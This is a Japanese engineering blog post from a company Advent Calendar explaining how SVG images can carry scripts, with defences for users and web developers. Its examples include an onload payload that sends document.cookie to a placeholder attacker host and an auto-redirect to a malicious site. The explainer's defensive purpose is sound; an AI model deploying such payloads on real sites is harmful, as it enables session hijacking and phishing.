こんにちは!Webアプリケーションエンジニアのレミーです!
この記事はEnigmo Advent Calendar 2025の7日目の記事です。
最近「Operation Hanoi Thief」という事件を読みました。 これは、ベトナムのITエンジニアや採用担当者を狙ったサイバー攻撃についての内容で、怪しいファイルを送りつけて情報を盗む手口が紹介されていました。 その中で、一見ただの画像に見えるファイルでも、実は中に攻撃的なコードが入っている恐れがある、という点が気になったので、SVGの中にある危険な仕組みを紹介します。
多くの人にとって、SVGファイルは「軽くて、拡大しても劣化しない便利な画像ファイル」という印象だと思います。 ロゴ、アイコン、バナーなど、Webでは定番の形式ですよね。
でも、実はSVGは「ただの画像」ではありません。
SVGはテキストベース(XML形式)のファイルであり、その中にコードを埋め込むことができます。 この性質のせいで、本来は「画像ファイル」であるはずのファイルが、攻撃者が悪い目的として利用される恐れがあります。
SVGとは?PNG/JPGとの違い
JPG、PNG、WEBP といった形式はバイナリデータの画像です。中にはロジックやスクリプトが入っていることはありません。
一方で SVG(Scalable Vector Graphics)はまったく別物です。 SVGは XMLで書かれたテキストファイル なので、.svg をメモ帳や VS Code で開くと、中身をそのままテキストとして読むことができます。
例:
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200"> <rect x="10" y="10" width="180" height="180" fill="blue"/> </svg>
SVGファイルの中に埋め込む危険なもの
SVGの中には、見た目は「画像ファイル」なのに、実際にはかなり危険なコードを埋め込むことができます。
1. SVG内部の JavaScript
SVG には、普通の HTML と同じように <script> タグを埋め込むことができます。
<svg xmlns="http://www.w3.org/2000/svg">
<script>
alert('こんにちは!');
</script>
</svg>
ブラウザの設定や表示方法によっては、このスクリプトが実行されます。
本番なら、攻撃者は alert(...) の代わりに、例えばこんなことができます。
2. onload / onclick などのイベント属性
<script> タグがなくても、イベント属性だけで十分に危険です。例えば次のようなSVGです。
<svg xmlns="http://www.w3.org/2000/svg"
onload="window.location.href='https://example-danger-site.com'">
</svg>
このSVGをブラウザで開いただけで、ユーザーは自動的に悪意のサイトにリダイレクトされてしまいます。 そこがフィッシングサイトやマルウェア配布サイトなら危険になります。
3. SVGアップロードを悪用した XSS 攻撃
ユーザーがSVGをアップロードできるサイト(アイコン、アバター、イラストなど)で、サニタイズせずにそのまま表示していると、攻撃者にとっては、<script> や onload を含んだSVGをアップロードし、そのスクリプトはそのサイトのコンテキストで実行されます。
その結果、例えばこんなことが可能になります。
document.cookieを盗んでセッションを乗っ取る- 管理者アカウントで操作する
例えば危険なSVGファイル:
<svg xmlns="http://www.w3.org/2000/svg"
onload="fetch('https://example-bad-site.com/log?c='+document.cookie)">
<text x="10" y="20">Hello world!</text>
</svg>
これが <img> ではなく、HTML内に inlineで <svg>...</svg> として埋め込まれ、ブラウザがブロックしない場合は、document.cookie がそのまま攻撃者のサーバーに送信されてしまいます。
どんなSVGなら安全なのか?
例えば次のような、テキストだけで構成されているSVGは安全です。
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200"> <circle cx="100" cy="100" r="80" fill="green" /> <text x="60" y="105" font-size="20" fill="white">安全なSVG</text> </svg>
どうしてかというと、以下のような要素や属性が含まれていないのです。
<script>タグ- onload, onclick, onmouseover, onerror などのイベント属性
- 外部URLやリクエストを飛ばしているコード
SVGから身を守るためのポイント
一般ユーザー向けの注意点
知らない人から送られてきた SVG ファイルを、すぐにブラウザで開かない。どうしても中身を確認したい場合は、まずテキストエディタ(VS Code, Notepadなど)で開いてみて、以下のようなものがないか確認する。
<script>タグ- onload, onclick, onmouseover, onerror などのイベント属性
- 外部URLやリクエストを飛ばしているコード
Web開発者向けの対策
- ユーザーによるアップロードされるSVGを、サニタイズする処理を行う
<script>タグを削除する- onload, onclick, onerror, onmouseover などのイベント属性を削除する
- 外部URLやリクエストを飛ばしているコードを削除する
- 信頼できないSVGを inlineで
<svg>...</svg>としてレンダリングしない。ユーザー由来のSVGはできるだけ<img src="/path/to/file.svg">で外部ファイルとして扱うべき - 適切な
Content-TypeやContent-Security-Policyヘッダを設定し、スクリプト実行を抑制する
まとめ:SVGは便利だけど「画像だから安全」とは限らない
SVG自体はとても便利なフォーマットです。SVG自体は危険ではありませんが、攻撃者の手に入ると危険なものになる恐れがあるため、使用中に注意する必要があります。
明日の記事の担当はフロントエンドエンジニアの張さんです。お楽しみに。